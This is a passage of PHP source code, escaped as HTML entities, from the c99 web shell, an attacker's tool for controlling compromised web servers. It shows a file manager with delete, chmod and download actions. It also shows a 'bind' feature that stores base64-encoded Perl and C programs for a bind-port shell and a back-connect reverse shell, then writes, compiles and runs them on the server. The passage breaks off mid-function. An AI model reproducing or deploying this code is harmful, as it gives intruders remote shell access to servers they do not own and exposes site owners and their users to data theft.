      }&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    $uo = urlencode($o);&lt;br /&gt;
    $ud = urlencode($dir);&lt;br /&gt;
    $uv = urlencode($v);&lt;br /&gt;
    $row = array();&lt;br /&gt;
    if ($o == &amp;quot;.&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $row[] = &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=small_dir\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode(realpath($d.$o)).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$o.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif ($o == &amp;quot;..&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $row[] = &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_lnk\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode(realpath($d.$o)).&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$o.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif (is_dir($v))&lt;br /&gt;
    {&lt;br /&gt;
     if (is_link($v))&lt;br /&gt;
     {&lt;br /&gt;
      $disppath .= &amp;quot; =&amp;gt; &amp;quot;.readlink($v);&lt;br /&gt;
      $type = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
      $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_lnk\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.$uv.&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;[&amp;quot;.$disppath.&amp;quot;]&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      $type = &amp;quot;DIR&amp;quot;;&lt;br /&gt;
      $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=small_dir\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.$uv.&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;[&amp;quot;.$disppath.&amp;quot;]&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     $row[] = $type;&lt;br /&gt;
    }&lt;br /&gt;
    elseif(is_file($v))&lt;br /&gt;
    {&lt;br /&gt;
     $ext = explode(&amp;quot;.&amp;quot;,$o);&lt;br /&gt;
     $c = count($ext)-1;&lt;br /&gt;
     $ext = $ext[$c];&lt;br /&gt;
     $ext = strtolower($ext);&lt;br /&gt;
     $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_&amp;quot;.$ext.&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;d=&amp;quot;.$ud.&amp;quot;&amp;amp;\&amp;quot;&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = view_size($a[1]);&lt;br /&gt;
    }&lt;br /&gt;
    $row[] = date(&amp;quot;d.m.Y H:i:s&amp;quot;,$a[2]);&lt;br /&gt;
    if (!$win) {$row[] = $a[3];}&lt;br /&gt;
    $row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($v).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
    if (is_dir($v)) {$row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=d&amp;amp;d=&amp;quot;.$uv.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; alt=\&amp;quot;Info\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;actbox[]\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($v).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;}&lt;br /&gt;
    else {$row[] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=info&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_diz\&amp;quot; alt=\&amp;quot;Info\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=edit&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; alt=\&amp;quot;Change\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;ft=download&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=download\&amp;quot; alt=\&amp;quot;Download\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; id=\&amp;quot;ls_dir[]\&amp;quot; name=\&amp;quot;actbox[]\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($v).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;}&lt;br /&gt;
    if (($o == &amp;quot;.&amp;quot;) or ($o == &amp;quot;..&amp;quot;)) {$tab[head][] = $row;}&lt;br /&gt;
    elseif (is_link($v)) {$tab[&amp;quot;links&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_dir($v)) {$tab[&amp;quot;dirs&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_file($v)) {$tab[&amp;quot;files&amp;quot;][] = $row;}&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  //Compiling table&lt;br /&gt;
  $table = array_merge($tab[&amp;quot;cols&amp;quot;],$tab[&amp;quot;head&amp;quot;],$tab[&amp;quot;dirs&amp;quot;],$tab[&amp;quot;links&amp;quot;],$tab[&amp;quot;files&amp;quot;]);&lt;br /&gt;
  echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Listing directory (&amp;quot;.count($tab[&amp;quot;files&amp;quot;]).&amp;quot; files and &amp;quot;.(count($tab[&amp;quot;dirs&amp;quot;])+count($tab[&amp;quot;links&amp;quot;])).&amp;quot; directories):&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0&amp;gt;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  foreach($table as $row)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
   foreach($row as $v) {echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;\r\n&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/tr&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;right\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
  if (count(array_merge($sess_data[&amp;quot;copy&amp;quot;],$sess_data[&amp;quot;cut&amp;quot;])) &amp;gt; 0 and ($usefsbuff))&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;actarcbuff\&amp;quot; value=\&amp;quot;Pack buffer to archive\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;actarcbuff_path\&amp;quot; value=\&amp;quot;archive_&amp;quot;.substr(md5(rand(1,1000).rand(1,1000)),0,5).&amp;quot;.tar.gz\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;actpastebuff\&amp;quot; value=\&amp;quot;Paste\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;actemptybuff\&amp;quot; value=\&amp;quot;Empty buffer\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;select name=\&amp;quot;act\&amp;quot;&amp;gt;&amp;lt;option value=\&amp;quot;&amp;quot;.$act.&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;option value=\&amp;quot;delete\&amp;quot;&amp;quot;.gchds($dspact,&amp;quot;delete&amp;quot;,&amp;quot; selected&amp;quot;).&amp;quot;&amp;gt;Delete&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;option value=\&amp;quot;chmod\&amp;quot;&amp;quot;.gchds($dspact,&amp;quot;chmod&amp;quot;,&amp;quot; selected&amp;quot;).&amp;quot;&amp;gt;Change-mode&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($usefsbuff)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=\&amp;quot;cut\&amp;quot;&amp;quot;.gchds($dspact,&amp;quot;cut&amp;quot;,&amp;quot; selected&amp;quot;).&amp;quot;&amp;gt;Cut&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=\&amp;quot;copy\&amp;quot;&amp;quot;.gchds($dspact,&amp;quot;copy&amp;quot;,&amp;quot; selected&amp;quot;).&amp;quot;&amp;gt;Copy&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
   echo &amp;quot;&amp;lt;option value=\&amp;quot;unselect\&amp;quot;&amp;quot;.gchds($dspact,&amp;quot;unselect&amp;quot;,&amp;quot; selected&amp;quot;).&amp;quot;&amp;gt;Unselect&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
  echo &amp;quot;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;bind&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $bndsrcs = array(&lt;br /&gt;
&amp;quot;c99sh_bindport.pl&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW&amp;quot;.&lt;br /&gt;
&amp;quot;WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI&amp;quot;.&lt;br /&gt;
&amp;quot;TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS&amp;quot;.&lt;br /&gt;
&amp;quot;RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp&amp;quot;.&lt;br /&gt;
&amp;quot;bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph&amp;quot;.&lt;br /&gt;
&amp;quot;Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl&amp;quot;.&lt;br /&gt;
&amp;quot;biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy&amp;quot;.&lt;br /&gt;
&amp;quot;XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K&amp;quot;.&lt;br /&gt;
&amp;quot;ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K&amp;quot;.&lt;br /&gt;
&amp;quot;ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9&amp;quot;,&lt;br /&gt;
&amp;quot;c99sh_bindport.c&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5&amp;quot;.&lt;br /&gt;
&amp;quot;cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N&amp;quot;.&lt;br /&gt;
&amp;quot;CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy&amp;quot;.&lt;br /&gt;
&amp;quot;ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1&amp;quot;.&lt;br /&gt;
&amp;quot;Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f&amp;quot;.&lt;br /&gt;
&amp;quot;ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p&amp;quot;.&lt;br /&gt;
&amp;quot;KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm&amp;quot;.&lt;br /&gt;
&amp;quot;ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi&amp;quot;.&lt;br /&gt;
&amp;quot;c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl&amp;quot;.&lt;br /&gt;
&amp;quot;LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h&amp;quot;.&lt;br /&gt;
&amp;quot;Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN&amp;quot;.&lt;br /&gt;
&amp;quot;CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy&amp;quot;.&lt;br /&gt;
&amp;quot;ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp&amp;quot;.&lt;br /&gt;
&amp;quot;DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN&amp;quot;.&lt;br /&gt;
&amp;quot;CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K&amp;quot;.&lt;br /&gt;
&amp;quot;ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg&amp;quot;.&lt;br /&gt;
&amp;quot;aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g&amp;quot;.&lt;br /&gt;
&amp;quot;J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy&amp;quot;.&lt;br /&gt;
&amp;quot;ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K&amp;quot;.&lt;br /&gt;
&amp;quot;fQ==&amp;quot;,&lt;br /&gt;
&amp;quot;c99sh_backconn.pl&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ&amp;quot;.&lt;br /&gt;
&amp;quot;HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ&amp;quot;.&lt;br /&gt;
&amp;quot;DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ&amp;quot;.&lt;br /&gt;
&amp;quot;HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L&amp;quot;.&lt;br /&gt;
&amp;quot;CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd&amp;quot;.&lt;br /&gt;
&amp;quot;GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka&amp;quot;.&lt;br /&gt;
&amp;quot;WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO&amp;quot;.&lt;br /&gt;
&amp;quot;iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR&amp;quot;.&lt;br /&gt;
&amp;quot;VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK&amp;quot;.&lt;br /&gt;
&amp;quot;FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==&amp;quot;,&lt;br /&gt;
&amp;quot;c99sh_backconn.c&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l&amp;quot;.&lt;br /&gt;
&amp;quot;dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk&amp;quot;.&lt;br /&gt;
&amp;quot;Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk&amp;quot;.&lt;br /&gt;
&amp;quot;YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g&amp;quot;.&lt;br /&gt;
&amp;quot;aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh&amp;quot;.&lt;br /&gt;
&amp;quot;cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy&amp;quot;.&lt;br /&gt;
&amp;quot;XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg&amp;quot;.&lt;br /&gt;
&amp;quot;DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1&amp;quot;.&lt;br /&gt;
&amp;quot;Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0&amp;quot;.&lt;br /&gt;
&amp;quot;KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo&amp;quot;.&lt;br /&gt;
&amp;quot;ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi&amp;quot;.&lt;br /&gt;
&amp;quot;c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==&amp;quot;&lt;br /&gt;
);&lt;br /&gt;
 $bndportsrcs = array(&lt;br /&gt;
&amp;quot;c99sh_bindport.pl&amp;quot;=&amp;gt;array(&amp;quot;Using PERL&amp;quot;,&amp;quot;perl %path %port&amp;quot;),&lt;br /&gt;
&amp;quot;c99sh_bindport.c&amp;quot;=&amp;gt;array(&amp;quot;Using C&amp;quot;,&amp;quot;%path %port %pass&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
 $bcsrcs = array(&lt;br /&gt;
&amp;quot;c99sh_backconn.pl&amp;quot;=&amp;gt;array(&amp;quot;Using PERL&amp;quot;,&amp;quot;perl %path %host %port&amp;quot;),&lt;br /&gt;
&amp;quot;c99sh_backconn.c&amp;quot;=&amp;gt;array(&amp;quot;Using C&amp;quot;,&amp;quot;%path %host %port&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
 if ($win) {echo &amp;quot;&amp;lt;b&amp;gt;Binding port and Back connect:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;This functions not work in Windows!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if (!is_array($bind)) {$bind = array();}&lt;br /&gt;
  if (!is_array($bc)) {$bc = array();}&lt;br /&gt;
  if (!is_numeric($bind[&amp;quot;port&amp;quot;])) {$bind[&amp;quot;port&amp;quot;] = $bindport_port;}&lt;br /&gt;
  if (empty($bind[&amp;quot;pass&amp;quot;])) {$bind[&amp;quot;pass&amp;quot;] = $bindport_pass;}&lt;br /&gt;
  if (empty($bc[&amp;quot;host&amp;quot;])) {$bc[&amp;quot;host&amp;quot;] = $REMOTE_ADDR;}&lt;br /&gt;
  if (!is_numeric($bc[&amp;quot;port&amp;quot;])) {$bc[&amp;quot;port&amp;quot;] = $bindport_port;}&lt;br /&gt;
  if (!empty($bindsubmit))&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Result of binding port:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $v = $bndportsrcs[$bind[&amp;quot;src&amp;quot;]];&lt;br /&gt;
   if (empty($v)) {echo &amp;quot;Unknown file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   elseif (fsockopen($SERVER_ADDR,$bind[&amp;quot;port&amp;quot;],$errno,$errstr,0.1)) {echo &amp;quot;Port alredy in use, select any other!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $srcpath = $tmpdir.$bind[&amp;quot;src&amp;quot;];&lt;br /&gt;
    $w = explode(&amp;quot;.&amp;quot;,$bind[&amp;quot;src&amp;quot;]);&lt;br /&gt;
    $ext = $w[count($w)-1];&lt;br /&gt;
    unset($w[count($w)-1]);&lt;br /&gt;
    $binpath = $tmpdir.join(&amp;quot;.&amp;quot;,$w);&lt;br /&gt;
    if ($ext == &amp;quot;pl&amp;quot;) {$binpath = $srcpath;}&lt;br /&gt;
    @unlink($srcpath);&lt;br /&gt;
    $fp = fopen($srcpath,&amp;quot;ab+&amp;quot;);&lt;br /&gt;
    if (!$fp) {echo &amp;quot;Can't write sources to \&amp;quot;&amp;quot;.$srcpath.&amp;quot;\&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $data = base64_decode($bndsrcs[$bind[&amp;quot;src&amp;quot;]]);&lt;br /&gt;
     fwrite($fp,$data,strlen($data));&lt;br /&gt;
     fclose($fp);&lt;br /&gt;
     if ($ext == &amp;quot;c&amp;quot;) {$retgcc = myshellexec(&amp;quot;gcc -o &amp;quot;.$binpath.&amp;quot; &amp;quot;.$srcpath);  @unlink($srcpath);}&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%path&amp;quot;,$binpath,$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%port&amp;quot;,$bind[&amp;quot;port&amp;quot;],$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;%pass&amp;quot;,$bind[&amp;quot;pass&amp;quot;],$v[1]);&lt;br /&gt;
     $v[1] = str_replace(&amp;quot;//&amp;quot;,&amp;quot;/&amp;quot;,$v[1]);&lt;br /&gt;
     $retbind = myshellexec($v[1].&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;quot;);&lt;br /&gt;
     sleep(5);&lt;br /&gt;
     $sock = fsockopen(&amp;quot;localhost&amp;quot;,$bind[&amp;quot;port&amp;quot;],$errno,$errstr,5);&lt;br /&gt;
     if (!$sock) {echo &amp;quot;I can't connect to localhost:&amp;quot;.$bind[&amp;quot;port&amp;quot;].&amp;quot;! I think you should configure your firewall.&amp;quot;;}&lt;br /&gt;
